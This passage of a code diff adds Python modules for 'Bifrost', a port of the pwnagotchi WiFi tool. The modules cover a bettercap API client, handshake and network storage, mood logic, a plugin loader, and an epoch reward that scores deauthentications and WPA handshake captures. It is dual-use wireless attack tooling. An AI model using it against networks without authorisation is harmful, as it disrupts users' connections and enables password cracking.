vendor, num_clients, last_seen) + VALUES (?, ?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP) + ON CONFLICT(bssid) DO UPDATE SET + essid=?, channel=?, encryption=?, rssi=?, vendor=?, + num_clients=?, last_seen=CURRENT_TIMESTAMP""", + (ap.get('mac', ''), ap.get('hostname', ''), ap.get('channel', 0), + ap.get('encryption', ''), ap.get('rssi', 0), ap.get('vendor', ''), + len(ap.get('clients', [])), + ap.get('hostname', ''), ap.get('channel', 0), + ap.get('encryption', ''), ap.get('rssi', 0), ap.get('vendor', ''), + len(ap.get('clients', []))) + ) + except Exception as e: + logger.debug("Error persisting network: %s", e) + + def _persist_handshake(self, ap_mac, sta_mac, ap_name, filename): + try: + self.db.execute( + """INSERT OR IGNORE INTO bifrost_handshakes + (ap_mac, sta_mac, ap_essid, filename) + VALUES (?, ?, ?, ?)""", + (ap_mac, sta_mac, ap_name, filename) + ) + except Exception as e: + logger.debug("Error persisting handshake: %s", e) + + def _persist_epoch(self, data): + try: + self.db.execute( + """INSERT INTO bifrost_epochs + (epoch_num, started_at, duration_secs, num_deauths, num_assocs, + num_handshakes, num_hops, num_missed, num_peers, mood, reward, + cpu_load, mem_usage, temperature, meta_json) + VALUES (?, datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""", + (self.epoch.epoch - 1, data.get('duration_secs', 0), + data.get('num_deauths', 0), data.get('num_associations', 0), + data.get('num_handshakes', 0), data.get('num_hops', 0), + data.get('missed_interactions', 0), data.get('num_peers', 0), + self.automata.mood, data.get('reward', 0), + data.get('cpu_load', 0), data.get('mem_usage', 0), + data.get('temperature', 0), '{}') + ) + except Exception as e: + logger.debug("Error persisting epoch: %s", e) + + def _log_activity(self, event_type, title, details=''): + """Log an activity event to the DB.""" + self.automata.voice_text = details or title + try: + self.db.execute( + """INSERT INTO bifrost_activity (event_type, title, details) + VALUES (?, ?, ?)""", + (event_type, title, details) + ) + except Exception as e: + logger.debug("Error logging activity: %s", e) diff --git a/bifrost/automata.py b/bifrost/automata.py new file mode 100644 index 0000000..decd4e1 --- /dev/null +++ b/bifrost/automata.py @@ -0,0 +1,168 @@ +""" +Bifrost — Mood state machine. +Ported from pwnagotchi/automata.py. +""" +import logging + +from bifrost import plugins as plugins +from bifrost.faces import MOOD_FACES + +from logger import Logger + +logger = Logger(name="bifrost.automata", level=logging.DEBUG) + + +class BifrostAutomata: + """Evaluates epoch data and transitions between moods.""" + + def __init__(self, config): + self._config = config + self.mood = 'starting' + self.face = MOOD_FACES.get('starting', '(. .)') + self.voice_text = '' + self._peers = {} # peer_id -> peer_data + + @property + def peers(self): + return self._peers + + def _set_mood(self, mood): + self.mood = mood + self.face = MOOD_FACES.get(mood, '(. .)') + + def set_starting(self): + self._set_mood('starting') + + def set_ready(self): + self._set_mood('ready') + plugins.on('ready') + + def _has_support_network_for(self, factor): + bond_factor = self._config.get('bifrost_personality_bond_factor', 20000) + total_encounters = sum( + p.get('encounters', 0) if isinstance(p, dict) else getattr(p, 'encounters', 0) + for p in self._peers.values() + ) + support_factor = total_encounters / bond_factor + return support_factor >= factor + + def in_good_mood(self): + return self._has_support_network_for(1.0) + + def set_grateful(self): + self._set_mood('grateful') + plugins.on('grateful') + + def set_lonely(self): + if not self._has_support_network_for(1.0): + logger.info("unit is lonely") + self._set_mood('lonely') + plugins.on('lonely') + else: + logger.info("unit is grateful instead of lonely") + self.set_grateful() + + def set_bored(self, inactive_for): + bored_epochs = self._config.get('bifrost_personality_bored_epochs', 15) + factor = inactive_for / bored_epochs if bored_epochs else 1 + if not self._has_support_network_for(factor): + logger.warning("%d epochs with no activity -> bored", inactive_for) + self._set_mood('bored') + plugins.on('bored') + else: + logger.info("unit is grateful instead of bored") + self.set_grateful() + + def set_sad(self, inactive_for): + sad_epochs = self._config.get('bifrost_personality_sad_epochs', 25) + factor = inactive_for / sad_epochs if sad_epochs else 1 + if not self._has_support_network_for(factor): + logger.warning("%d epochs with no activity -> sad", inactive_for) + self._set_mood('sad') + plugins.on('sad') + else: + logger.info("unit is grateful instead of sad") + self.set_grateful() + + def set_angry(self, factor): + if not self._has_support_network_for(factor): + logger.warning("too many misses -> angry (factor=%.1f)", factor) + self._set_mood('angry') + plugins.on('angry') + else: + logger.info("unit is grateful instead of angry") + self.set_grateful() + + def set_excited(self): + logger.warning("lots of activity -> excited") + self._set_mood('excited') + plugins.on('excited') + + def set_rebooting(self): + self._set_mood('broken') + plugins.on('rebooting') + + def next_epoch(self, epoch): + """Evaluate epoch state and transition mood. + + Args: + epoch: BifrostEpoch instance + """ + was_stale = epoch.num_missed > self._config.get('bifrost_personality_max_misses', 8) + did_miss = epoch.num_missed + + # Trigger epoch transition (resets counters, computes reward) + epoch.next() + + max_misses = self._config.get('bifrost_personality_max_misses', 8) + excited_threshold = self._config.get('bifrost_personality_excited_epochs', 10) + + # Mood evaluation (same logic as pwnagotchi automata.py) + if was_stale: + factor = did_miss / max_misses if max_misses else 1 + if factor >= 2.0: + self.set_angry(factor) + else: + logger.warning("agent missed %d interactions -> lonely", did_miss) + self.set_lonely() + elif epoch.sad_for: + sad_epochs = self._config.get('bifrost_personality_sad_epochs', 25) + factor = epoch.inactive_for / sad_epochs if sad_epochs else 1 + if factor >= 2.0: + self.set_angry(factor) + else: + self.set_sad(epoch.inactive_for) + elif epoch.bored_for: + self.set_bored(epoch.inactive_for) + elif epoch.active_for >= excited_threshold: + self.set_excited() + elif epoch.active_for >= 5 and self._has_support_network_for(5.0): + self.set_grateful() + + plugins.on('epoch', epoch.epoch - 1, epoch.data()) + + def on_miss(self, who): + logger.info("it looks like %s is not in range anymore :/", who) + + def on_error(self, who, e): + if 'is an unknown BSSID' in str(e): + self.on_miss(who) + else: + logger.error(str(e)) + + def is_stale(self, epoch): + return epoch.num_missed > self._config.get('bifrost_personality_max_misses', 8) + + def wait_for(self, t, epoch, sleeping=True, stop_event=None): + """Wait and track sleep time. + + If *stop_event* is provided the wait is interruptible so the + engine can shut down quickly even during long recon windows. + """ + plugins.on('sleep' if sleeping else 'wait', t) + epoch.track(sleep=True, inc=t) + import time + if stop_event is not None: + stop_event.wait(t) + else: + time.sleep(t) diff --git a/bifrost/bettercap.py b/bifrost/bettercap.py new file mode 100644 index 0000000..854637c --- /dev/null +++ b/bifrost/bettercap.py @@ -0,0 +1,103 @@ +""" +Bifrost — Bettercap REST API client. +Ported from pwnagotchi/bettercap.py using urllib (no requests dependency). +""" +import json +import logging +import base64 +import urllib.request +import urllib.error + +from logger import Logger + +logger = Logger(name="bifrost.bettercap", level=logging.DEBUG) + + +class BettercapClient: + """Synchronous REST client for the bettercap API.""" + + def __init__(self, hostname='127.0.0.1', scheme='http', port=8081, + username='user', password='pass'): + self.hostname = hostname + self.scheme = scheme + self.port = port + self.username = username + self.password = password + self.url = "%s://%s:%d/api" % (scheme, hostname, port) + self.websocket = "ws://%s:%s@%s:%d/api" % (username, password, hostname, port) + self._auth_header = 'Basic ' + base64.b64encode( + ('%s:%s' % (username, password)).encode() + ).decode() + + def _request(self, method, path, data=None, verbose_errors=True): + """Make an HTTP request to bettercap API.""" + url = "%s%s" % (self.url, path) + body = json.dumps(data).encode() if data else None + req = urllib.request.Request(url, data=body, method=method) + req.add_header('Authorization', self._auth_header) + if body: + req.add_header('Content-Type', 'application/json') + + try: + with urllib.request.urlopen(req, timeout=10) as resp: + raw = resp.read().decode('utf-8') + try: + return json.loads(raw) + except json.JSONDecodeError: + return raw + except urllib.error.HTTPError as e: + err = "error %d: %s" % (e.code, e.read().decode('utf-8', errors='replace').strip()) + if verbose_errors: + logger.info(err) + raise Exception(err) + except urllib.error.URLError as e: + raise Exception("bettercap unreachable: %s" % e.reason) + + def session(self): + """GET /api/session — current bettercap state.""" + return self._request('GET', '/session') + + def run(self, command, verbose_errors=True): + """POST /api/session — execute a bettercap command.""" + return self._request('POST', '/session', {'cmd': command}, + verbose_errors=verbose_errors) + + def events(self): + """GET /api/events — poll recent events (REST fallback).""" + try: + result = self._request('GET', '/events', verbose_errors=False) + # Clear after reading so we don't reprocess + try: + self.run('events.clear', verbose_errors=False) + except Exception: + pass + return result if isinstance(result, list) else [] + except Exception: + return [] + + async def start_websocket(self, consumer, stop_event=None): + """Connect to bettercap websocket event stream. + + Args: + consumer: async callable that receives each message string. + stop_event: optional threading.Event — exit when set. + """ + import websockets + import asyncio + ws_url = "%s/events" % self.websocket + while not (stop_event and stop_event.is_set()): + try: + async with websockets.connect(ws_url, ping_interval=60, + ping_timeout=90) as ws: + async for msg in ws: + if stop_event and stop_event.is_set(): + return + try: + await consumer(msg) + except Exception as ex: + logger.debug("Error parsing event: %s", ex) + except Exception as ex: + if stop_event and stop_event.is_set(): + return + logger.debug("Websocket error: %s — reconnecting...", ex) + await asyncio.sleep(2) diff --git a/bifrost/compat.py b/bifrost/compat.py new file mode 100644 index 0000000..a319997 --- /dev/null +++ b/bifrost/compat.py @@ -0,0 +1,185 @@ +""" +Bifrost — Pwnagotchi compatibility shim. +Registers `pwnagotchi` in sys.modules so existing plugins can +`import pwnagotchi` and get Bifrost-backed implementations. +""" +import sys +import time +import types +import os + + +def install_shim(shared_data, bifrost_plugins_module): + """Install the pwnagotchi namespace shim into sys.modules. + + Call this BEFORE loading any pwnagotchi plugins so their + `import pwnagotchi` resolves to our shim. + """ + _start_time = time.time() + + # Create the fake pwnagotchi module + pwn = types.ModuleType('pwnagotchi') + pwn.__version__ = '2.0.0-bifrost' + pwn.__file__ = __file__ + pwn.config = _build_compat_config(shared_data) + + def _name(): + return shared_data.config.get('bjorn_name', 'bifrost') + + def _set_name(n): + pass # no-op, name comes from Bjorn config + + def _uptime(): + return time.time() - _start_time + + def _cpu_load(): + try: + return os.getloadavg()[0] + except (OSError, AttributeError): + return 0.0 + + def _mem_usage(): + try: + with open('/proc/meminfo', 'r') as f: + lines = f.readlines() + total = int(lines[0].split()[1]) + available = int(lines[2].split()[1]) + return (total - available) / total if total else 0.0 + except Exception: + return 0.0 + + def _temperature(): + try: + with open('/sys/class/thermal/thermal_zone0/temp', 'r') as f: + return int(f.read().strip()) / 1000.0 + except Exception: + return 0.0 + + def _reboot(): + pass # no-op in Bifrost — we don't auto-reboot + + pwn.name = _name + pwn.set_name = _set_name + pwn.uptime = _uptime + pwn.cpu_load = _cpu_load + pwn.mem_usage = _mem_usage + pwn.temperature = _temperature + pwn.reboot = _reboot + + # Register modules + sys.modules['pwnagotchi'] = pwn + sys.modules['pwnagotchi.plugins'] = bifrost_plugins_module + sys.modules['pwnagotchi.utils'] = _build_utils_shim(shared_data) + + +def _build_compat_config(shared_data): + """Translate Bjorn's flat bifrost_* config to pwnagotchi's nested format.""" + cfg = shared_data.config + return { + 'main': { + 'name': cfg.get('bjorn_name', 'bifrost'), + 'iface': cfg.get('bifrost_iface', 'wlan0mon'), + 'mon_start_cmd': '', + 'no_restart': False, + 'filter': cfg.get('bifrost_filter', ''), + 'whitelist': [ + w.strip() for w in + str(cfg.get('bifrost_whitelist', '')).split(',') if w.strip() + ], + 'plugins': cfg.get('bifrost_plugins', {}), + 'custom_plugins': cfg.get('bifrost_plugins_path', ''), + 'mon_max_blind_epochs': 50, + }, + 'personality': { + 'ap_ttl': cfg.get('bifrost_personality_ap_ttl', 120), + 'sta_ttl': cfg.get('bifrost_personality_sta_ttl', 300), + 'min_rssi': cfg.get('bifrost_personality_min_rssi', -200), + 'associate': cfg.get('bifrost_personality_associate', True), + 'deauth': cfg.get('bifrost_personality_deauth', True), + 'recon_time': cfg.get('bifrost_personality_recon_time', 30), + 'hop_recon_time': cfg.get('bifrost_personality_hop_recon_time', 10), + 'min_recon_time': cfg.get('bifrost_personality_min_recon_time', 5), + 'max_inactive_scale': 3, + 'recon_inactive_multiplier': 2, + 'max_interactions': cfg.get('bifrost_personality_max_interactions', 3), + 'max_misses_for_recon': cfg.get('bifrost_personality_max_misses', 8), + 'excited_num_epochs': cfg.get('bifrost_personality_excited_epochs', 10), + 'bored_num_epochs': cfg.get('bifrost_personality_bored_epochs', 15), + 'sad_num_epochs': cfg.get('bifrost_personality_sad_epochs', 25), + 'bond_encounters_factor': cfg.get('bifrost_personality_bond_factor', 20000), + 'channels': [ + int(c.strip()) for c in + str(cfg.get('bifrost_channels', '')).split(',') if c.strip() + ], + }, + 'bettercap': { + 'hostname': cfg.get('bifrost_bettercap_host', '127.0.0.1'), + 'scheme': 'http', + 'port': cfg.get('bifrost_bettercap_port', 8081), + 'username': cfg.get('bifrost_bettercap_user', 'user'), + 'password': cfg.get('bifrost_bettercap_pass', 'pass'), + 'handshakes': cfg.get('bifrost_bettercap_handshakes', '/root/bifrost/handshakes'), + 'silence': [ + 'ble.device.new', 'ble.device.lost', 'ble.device.disconnected', + 'ble.device.connected', 'ble.device.service.discovered', + 'ble.device.characteristic.discovered', + 'mod.started', 'mod.stopped', 'update.available', + 'session.closing', 'session.started', + ], + }, + 'ai': { + 'enabled': cfg.get('bifrost_ai_enabled', False), + 'path': '/root/bifrost/brain.json', + }, + 'ui': { + 'fps': 1.0, + 'web': {'enabled': False}, + 'display': {'enabled': False}, + }, + } + + +def _build_utils_shim(shared_data): + """Minimal pwnagotchi.utils shim.""" + mod = types.ModuleType('pwnagotchi.utils') + + def secs_to_hhmmss(secs): + h = int(secs // 3600) + m = int((secs % 3600) // 60) + s = int(secs % 60) + return "%d:%02d:%02d" % (h, m, s) + + def iface_channels(iface): + """Return available channels for interface.""" + try: + import subprocess + out = subprocess.check_output( + ['iwlist', iface, 'channel'], + stderr=subprocess.DEVNULL, timeout=5 + ).decode() + channels = [] + for line in out.split('\n'): + if 'Channel' in line and 'Current' not in line: + parts = line.strip().split() + for p in parts: + try: + ch = int(p) + if 1 <= ch <= 14: + channels.append(ch) + except ValueError: + continue + return sorted(set(channels)) if channels else list(range(1, 15)) + except Exception: + return list(range(1, 15)) + + def total_unique_handshakes(path): + """Count unique handshake files in directory.""" + import glob as _glob + if not os.path.isdir(path): + return 0 + return len(_glob.glob(os.path.join(path, '*.pcap'))) + + mod.secs_to_hhmmss = secs_to_hhmmss + mod.iface_channels = iface_channels + mod.total_unique_handshakes = total_unique_handshakes + return mod diff --git a/bifrost/epoch.py b/bifrost/epoch.py new file mode 100644 index 0000000..f0e3cba --- /dev/null +++ b/bifrost/epoch.py @@ -0,0 +1,292 @@ +""" +Bifrost — Epoch tracking. +Ported from pwnagotchi/ai/epoch.py + pwnagotchi/ai/reward.py. +""" +import time +import threading +import logging +import os + +from logger import Logger + +logger = Logger(name="bifrost.epoch", level=logging.DEBUG) + +NUM_CHANNELS = 14 # 2.4 GHz channels + + +# ── Reward function (from pwnagotchi/ai/reward.py) ────────────── + +class RewardFunction: + """Reward signal for RL — higher is better.""" + + def __call__(self, epoch_n, state): + eps = 1e-20 + tot_epochs = epoch_n + eps + tot_interactions = max( + state['num_deauths'] + state['num_associations'], + state['num_handshakes'] + ) + eps + tot_channels = NUM_CHANNELS + + # Positive signals + h = state['num_handshakes'] / tot_interactions + a = 0.2 * (state['active_for_epochs'] / tot_epochs) + c = 0.1 * (state['num_hops'] / tot_channels) + + # Negative signals + b = -0.3 * (state['blind_for_epochs'] / tot_epochs) + m = -0.3 * (state['missed_interactions'] / tot_interactions) + i = -0.2 * (state['inactive_for_epochs'] / tot_epochs) + + _sad = state['sad_for_epochs'] if state['sad_for_epochs'] >= 5 else 0 + _bored = state['bored_for_epochs'] if state['bored_for_epochs'] >= 5 else 0 + s = -0.2 * (_sad / tot_epochs) + l_val = -0.1 * (_bored / tot_epochs) + + return h + a + c + b + i + m + s + l_val + + +# ── Epoch state ────────────────────────────────────────────────── + +class BifrostEpoch: + """Tracks per-epoch counters, observations, and reward.""" + + def __init__(self, config): + self.epoch = 0 + self.config = config + + # Consecutive epoch counters + self.inactive_for = 0 + self.active_for = 0 + self.blind_for = 0 + self.sad_for = 0 + self.bored_for = 0 + + # Per-epoch action flags & counters + self.did_deauth = False + self.num_deauths = 0 + self.did_associate = False + self.num_assocs = 0 + self.num_missed = 0 + self.did_handshakes = False + self.num_shakes = 0 + self.num_hops = 0 + self.num_slept = 0 + self.num_peers = 0 + self.tot_bond_factor = 0.0 + self.avg_bond_factor = 0.0 + self.any_activity = False + + # Timing + self.epoch_started = time.time() + self.epoch_duration = 0 + + # Channel histograms for AI observation + self.non_overlapping_channels = {1: 0, 6: 0, 11: 0} + self._observation = { + 'aps_histogram': [0.0] * NUM_CHANNELS, + 'sta_histogram': [0.0] * NUM_CHANNELS, + 'peers_histogram': [0.0] * NUM_CHANNELS, + } + self._observation_ready = threading.Event() + self._epoch_data = {} + self._epoch_data_ready = threading.Event() + self._reward = RewardFunction() + + def wait_for_epoch_data(self, with_observation=True, timeout=None): + self._epoch_data_ready.wait(timeout) + self._epoch_data_ready.clear() + if with_observation: + return {**self._observation, **self._epoch_data} + return self._epoch_data + + def data(self): + return self._epoch_data + + def observe(self, aps, peers): + """Update observation histograms from current AP/peer lists.""" + num_aps = len(aps) + if num_aps == 0: + self.blind_for += 1 + else: + self.blind_for = 0 + + bond_unit_scale = self.config.get('bifrost_personality_bond_factor', 20000) + self.num_peers = len(peers) + num_peers = self.num_peers + 1e-10 + + self.tot_bond_factor = sum( + p.get('encounters', 0) if isinstance(p, dict) else getattr(p, 'encounters', 0) + for p in peers + ) / bond_unit_scale + self.avg_bond_factor = self.tot_bond_factor / num_peers + + num_aps_f = len(aps) + 1e-10 + num_sta = sum(len(ap.get('clients', [])) for ap in aps) + 1e-10 + aps_per_chan = [0.0] * NUM_CHANNELS + sta_per_chan = [0.0] * NUM_CHANNELS + peers_per_chan = [0.0] * NUM_CHANNELS + + for ap in aps: + ch_idx = ap.get('channel', 1) - 1 + if 0 <= ch_idx < NUM_CHANNELS: + aps_per_chan[ch_idx] += 1.0 + sta_per_chan[ch_idx] += len(ap.get('clients', [])) + + for peer in peers: + ch = peer.get('last_channel', 0) if isinstance(peer, dict) else getattr(peer, 'last_channel', 0) + ch_idx = ch - 1 + if 0 <= ch_idx < NUM_CHANNELS: + peers_per_chan[ch_idx] += 1.0 + + # Normalize + aps_per_chan = [e / num_aps_f for e in aps_per_chan] + sta_per_chan = [e / num_sta for e in sta_per_chan] + peers_per_chan = [e / num_peers for e in peers_per_chan] + + self._observation = { + 'aps_histogram': aps_per_chan, + 'sta_histogram': sta_per_chan, + 'peers_histogram': peers_per_chan, + } + self._observation_ready.set() + + def track(self, deauth=False, assoc=False, handshake=False, + hop=False, sleep=False, miss=False, inc=1): + """Increment epoch counters.""" + if deauth: + self.num_deauths += inc + self.did_deauth = True + self.any_activity = True + + if assoc: + self.num_assocs += inc + self.did_associate = True + self.any_activity = True + + if miss: + self.num_missed += inc + + if hop: + self.num_hops += inc + # Reset per-channel flags on hop + self.did_deauth = False + self.did_associate = False + + if handshake: + self.num_shakes += inc + self.did_handshakes = True + + if sleep: + self.num_slept += inc + + def next(self): + """Transition to next epoch — compute reward, update streaks, reset counters.""" + # Update activity streaks + if not self.any_activity and not self.did_handshakes: + self.inactive_for += 1 + self.active_for = 0 + else: + self.active_for += 1 + self.inactive_for = 0 + self.sad_for = 0 + self.bored_for = 0 + + sad_threshold = self.config.get('bifrost_personality_sad_epochs', 25) + bored_threshold = self.config.get('bifrost_personality_bored_epochs', 15) + + if self.inactive_for >= sad_threshold: + self.bored_for = 0 + self.sad_for += 1 + elif self.inactive_for >= bored_threshold: + self.sad_for = 0 + self.bored_for += 1 + else: + self.sad_for = 0 + self.bored_for = 0 + + now = time.time() + self.epoch_duration = now - self.epoch_started + + # System metrics + cpu = _cpu_load() + mem = _mem_usage() + temp = _temperature() + + # Cache epoch data for other threads + self._epoch_data = { + 'duration_secs': self.epoch_duration, + 'slept_for_secs': self.num_slept, + 'blind_for_epochs': self.blind_for, + 'inactive_for_epochs': self.inactive_for, + 'active_for_epochs': self.active_for, + 'sad_for_epochs': self.sad_for, + 'bored_for_epochs': self.bored_for, + 'missed_interactions': self.num_missed, + 'num_hops': self.num_hops, + 'num_peers': self.num_peers, + 'tot_bond': self.tot_bond_factor, + 'avg_bond': self.avg_bond_factor, + 'num_deauths': self.num_deauths, + 'num_associations': self.num_assocs, + 'num_handshakes': self.num_shakes, + 'cpu_load': cpu, + 'mem_usage': mem, + 'temperature': temp, + } + self._epoch_data['reward'] = self._reward(self.epoch + 1, self._epoch_data) + self._epoch_data_ready.set() + + logger.info( + "[epoch %d] dur=%ds blind=%d sad=%d bored=%d inactive=%d active=%d " + "hops=%d missed=%d deauths=%d assocs=%d shakes=%d reward=%.3f", + self.epoch, int(self.epoch_duration), self.blind_for, + self.sad_for, self.bored_for, self.inactive_for, self.active_for, + self.num_hops, self.num_missed, self.num_deauths, self.num_assocs, + self.num_shakes, self._epoch_data['reward'], + ) + + # Reset for next epoch + self.epoch += 1 + self.epoch_started = now + self.did_deauth = False + self.num_deauths = 0 + self.num_peers = 0 + self.tot_bond_factor = 0.0 + self.avg_bond_factor = 0.0 + self.did_associate = False + self.num_assocs = 0 + self.num_missed = 0 + self.did_handshakes = False + self.num_shakes = 0 + self.num_hops = 0 + self.num_slept = 0 + self.any_activity = False + + +# ── System metric helpers ──────────────────────────────────────── + +def _cpu_load(): + try: + return os.getloadavg()[0] + except (OSError, AttributeError): + return 0.0 + + +def _mem_usage(): + try: + with open('/proc/meminfo', 'r') as f: + lines = f.readlines() + total = int(lines[0].split()[1]) + available = int(lines[2].split()[1]) + return (total - available) / total if total else 0.0 + except Exception: + return 0.0 + + +def _temperature(): + try: + with open('/sys/class/thermal/thermal_zone0/temp', 'r') as f: + return int(f.read().strip()) / 1000.0 + except Exception: + return 0.0 diff --git a/bifrost/faces.py b/bifrost/faces.py new file mode 100644 index 0000000..da73555 --- /dev/null +++ b/bifrost/faces.py @@ -0,0 +1,66 @@ +""" +Bifrost — ASCII face definitions. +Ported from pwnagotchi/ui/faces.py with full face set. +""" + +LOOK_R = '( \u2686_\u2686)' +LOOK_L = '(\u2609_\u2609 )' +LOOK_R_HAPPY = '( \u25d5\u203f\u25d5)' +LOOK_L_HAPPY = '(\u25d5\u203f\u25d5 )' +SLEEP = '(\u21c0\u203f\u203f\u21bc)' +SLEEP2 = '(\u2256\u203f\u203f\u2256)' +AWAKE = '(\u25d5\u203f\u203f\u25d5)' +BORED = '(-__-)' +INTENSE = '(\u00b0\u25c3\u25c3\u00b0)' +COOL = '(\u2310\u25a0_\u25a0)' +HAPPY = '(\u2022\u203f\u203f\u2022)' +GRATEFUL = '(^\u203f\u203f^)' +EXCITED = '(\u1d54\u25e1\u25e1\u1d54)' +MOTIVATED = '(\u263c\u203f\u203f\u263c)' +DEMOTIVATED = '(\u2256__\u2256)' +SMART = '(\u271c\u203f\u203f\u271c)' +LONELY = '(\u0628__\u0628)' +SAD = '(\u2565\u2601\u2565 )' +ANGRY = "(-_-')" +FRIEND = '(\u2665\u203f\u203f\u2665)' +BROKEN = '(\u2613\u203f\u203f\u2613)' +DEBUG = '(#__#)' +UPLOAD = '(1__0)' +UPLOAD1 = '(1__1)' +UPLOAD2 = '(0__1)' +STARTING = '(. .)' +READY = '( ^_^)' + +# Map mood name → face constant +MOOD_FACES = { + 'starting': STARTING, + 'ready': READY, + 'sleeping': SLEEP, + 'awake': AWAKE, + 'bored': BORED, + 'sad': SAD, + 'angry': ANGRY, + 'excited': EXCITED, + 'lonely': LONELY, + 'grateful': GRATEFUL, + 'happy': HAPPY, + 'cool': COOL, + 'intense': INTENSE, + 'motivated': MOTIVATED, + 'demotivated': DEMOTIVATED, + 'friend': FRIEND, + 'broken': BROKEN, + 'debug': DEBUG, + 'smart': SMART, +} + + +def load_from_config(config): + """Override faces from config dict (e.g. custom emojis).""" + for face_name, face_value in (config or {}).items(): + key = face_name.upper() + if key in globals(): + globals()[key] = face_value + lower = face_name.lower() + if lower in MOOD_FACES: + MOOD_FACES[lower] = face_value diff --git a/bifrost/plugins.py b/bifrost/plugins.py new file mode 100644 index 0000000..3b983b2 --- /dev/null +++ b/bifrost/plugins.py @@ -0,0 +1,198 @@ +""" +Bifrost — Plugin system. +Ported from pwnagotchi/plugins/__init__.py with ThreadPoolExecutor. +Compatible with existing pwnagotchi plugin files. +""" +import os +import glob +import threading +import importlib +import importlib.util +import logging +import concurrent.futures + +from logger import Logger + +logger = Logger(name="bifrost.plugins", level=logging.DEBUG) + +default_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), "plugins") +loaded = {} +database = {} +locks = {} + +_executor = concurrent.futures.ThreadPoolExecutor( + max_workers=4, thread_name_prefix="BifrostPlugin" +) + + +class Plugin: + """Base class for Bifrost/Pwnagotchi plugins. + + Subclasses are auto-registered via __init_subclass__. + """ + __author__ = 'unknown' + __version__ = '0.0.0' + __license__ = 'GPL3' + __description__ = '' + __name__ = '' + __help__ = '' + __dependencies__ = [] + __defaults__ = {} + + def __init__(self): + self.options = {} + + @classmethod + def __init_subclass__(cls, **kwargs): + super().__init_subclass__(**kwargs) + global loaded, locks + + plugin_name = cls.__module__.split('.')[0] + plugin_instance = cls() + logger.debug("loaded plugin %s as %s", plugin_name, plugin_instance) + loaded[plugin_name] = plugin_instance + + for attr_name in dir(plugin_instance): + if attr_name.startswith('on_'): + cb = getattr(plugin_instance, attr_name, None) + if cb is not None and callable(cb): + locks["%s::%s" % (plugin_name, attr_name)] = threading.Lock() + + +def toggle_plugin(name, enable=True): + """Enable or disable a plugin at runtime. Returns True if state changed.""" + global loaded, database + + if not enable and name in loaded: + try: + if hasattr(loaded[name], 'on_unload'): + loaded[name].on_unload() + except Exception as e: + logger.warning("Error unloading plugin %s: %s", name, e) + del loaded[name] + return True + + if enable and name in database and name not in loaded: + try: + load_from_file(database[name]) + if name in loaded: + one(name, 'loaded') + return True + except Exception as e: + logger.warning("Error loading plugin %s: %s", name, e) + + return False + + +def on(event_name, *args, **kwargs): + """Dispatch event to ALL loaded plugins.""" + for plugin_name in list(loaded.keys()): + one(plugin_name, event_name, *args, **kwargs) + + +def _locked_cb(lock_name, cb, *args, **kwargs): + """Execute callback under its per-plugin lock.""" + global locks + if lock_name not in locks: + locks[lock_name] = threading.Lock() + with locks[lock_name]: + cb(*args, **kwargs) + + +def one(plugin_name, event_name, *args, **kwargs): + """Dispatch event to a single plugin (thread-safe).""" + global loaded + if plugin_name in loaded: + plugin = loaded[plugin_name] + cb_name = 'on_%s' % event_name + callback = getattr(plugin, cb_name, None) + if callback is not None and callable(callback): + try: + lock_name = "%s::%s" % (plugin_name, cb_name) + _executor.submit(_locked_cb, lock_name, callback, *args, **kwargs) + except Exception as e: + logger.error("error running %s.%s: %s", plugin_name, cb_name, e) + + +def load_from_file(filename): + """Load a single plugin file.""" + logger.debug("loading %s", filename) + plugin_name = os.path.basename(filename.replace(".py", "")) + spec = importlib.util.spec_from_file_location(plugin_name, filename) + instance = importlib.util.module_from_spec(spec) + spec.loader.exec_module(instance) + return plugin_name, instance + + +def load_from_path(path, enabled=()): + """Scan a directory for plugins, load enabled ones.""" + global loaded, database + if not path or not os.path.isdir(path): + return loaded + + logger.debug("loading plugins from %s — enabled: %s", path, enabled) + for filename in glob.glob(os.path.join(path, "*.py")): + plugin_name = os.path.basename(filename.replace(".py", "")) + database[plugin_name] = filename + if plugin_name in enabled: + try: + load_from_file(filename) + except Exception as e: + logger.warning("error loading %s: %s", filename, e) + + return loaded + + +def load(config): + """Load plugins from default + custom paths based on config.""" + plugins_cfg = config.get('bifrost_plugins', {}) + enabled = [ + name for name, opts in plugins_cfg.items() + if isinstance(opts, dict) and opts.get('enabled', False) + ] + + # Load from default path (bifrost/plugins/) + if os.path.isdir(default_path): + load_from_path(default_path, enabled=enabled) + + # Load from custom path + custom_path = config.get('bifrost_plugins_path', '') + if custom_path and os.path.isdir(custom_path): + load_from_path(custom_path, enabled=enabled) + + # Propagate options + for name, plugin in loaded.items(): + if name in plugins_cfg: + plugin.options = plugins_cfg[name] + + on('loaded') + on('config_changed', config) + + +def get_loaded_info(): + """Return list of loaded plugin info dicts for web API.""" + result = [] + for name, plugin in loaded.items(): + result.append({ + 'name': name, + 'enabled': True, + 'author': getattr(plugin, '__author__', 'unknown'), + 'version': getattr(plugin, '__version__', '0.0.0'), + 'description': getattr(plugin, '__description__', ''), + }) + # Also include known-but-not-loaded plugins + for name, path in database.items(): + if name not in loaded: + result.append({ + 'name': name, + 'enabled': False, + 'author': '', + 'version': '', + 'description': '', + }) + return result + + +def shutdown(): + """Clean shutdown of plugin system.""" + _executor.shutdown(wait=False) diff --git a/bifrost/voice.py b/bifrost/voice.py new file mode 100644 index 0000000..db3d371 --- /dev/null +++ b/bifrost/voice.py @@ -0,0 +1,155 @@ +""" +Bifrost — Voice / status messages. +Ported from pwnagotchi/voice.py, uses random choice for personality. +""" +import random + + +class BifrostVoice: + """Returns random contextual messages for the Bifrost UI.""" + + def on_starting(self): + return random.choice([ + "Hi, I'm Bifrost! Starting ...", + "New day, new hunt, new pwns!", + "Hack the Planet!", + "Initializing WiFi recon ...", + ]) + + def on_ready(self): + return random.choice([ + "Ready to roll!", + "Let's find some handshakes!", + "WiFi recon active.", + ]) + + def on_ai_ready(self): + return random.choice([ + "AI ready.", + "The neural network is ready.", + ]) + + def on_normal(self): + return random.choice(['', '...']) + + def on_free_channel(self, channel): + return f"Hey, channel {channel} is free!" + + def on_bored(self): + return random.choice([ + "I'm bored ...", + "Let's go for a walk!", + "Nothing interesting around here ...", + ]) + + def on_motivated(self, reward): + return "This is the best day of my life!" + + def on_demotivated(self, reward): + return "Shitty day :/" + + def on_sad(self): + return random.choice([ + "I'm extremely bored ...", + "I'm very sad ...", + "I'm sad", + "...", + ]) + + def on_angry(self): + return random.choice([ + "...", + "Leave me alone ...", + "I'm 